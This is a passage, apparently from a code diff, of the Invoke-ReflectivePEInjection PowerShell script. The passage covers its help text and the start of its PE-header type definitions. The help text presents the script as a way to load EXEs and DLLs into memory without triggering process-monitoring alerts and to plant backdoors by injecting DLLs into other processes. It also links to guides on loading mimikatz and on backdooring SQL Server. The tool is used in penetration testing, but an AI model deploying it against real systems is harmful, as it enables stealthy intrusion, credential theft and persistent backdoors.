info. + 2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. + 3.) Reflectively inject a DLL in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + + + + DLL LOADING NOTES: + + PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. + If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL + return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell + remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from + applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. + + For DLL Loading: + Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" + I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return + the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the + returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: + wchar_t* : FuncReturnType = WString + char* : FuncReturnType = String + void : Default, don't supply a FuncReturnType + + For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string + using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + + The function name expected in the DLL for the prewritten FuncReturnType's is as follows: + WString : WStringFunc + String : StringFunc + Void : VoidFunc + + These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would + be declared as follows: + extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + + If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify + this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + + Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + + .LINK + + Blog: http://clymb3r.wordpress.com/ + Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection + + Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ + + #> + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $true)] + [Byte[]] + $Bytes32, + + [Parameter(Mandatory = $true)] + [Byte[]] + $Bytes64, + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName + ) + + Set-StrictMode -Version 2 + + + $RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $false)] + [String] + $ProcName + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + 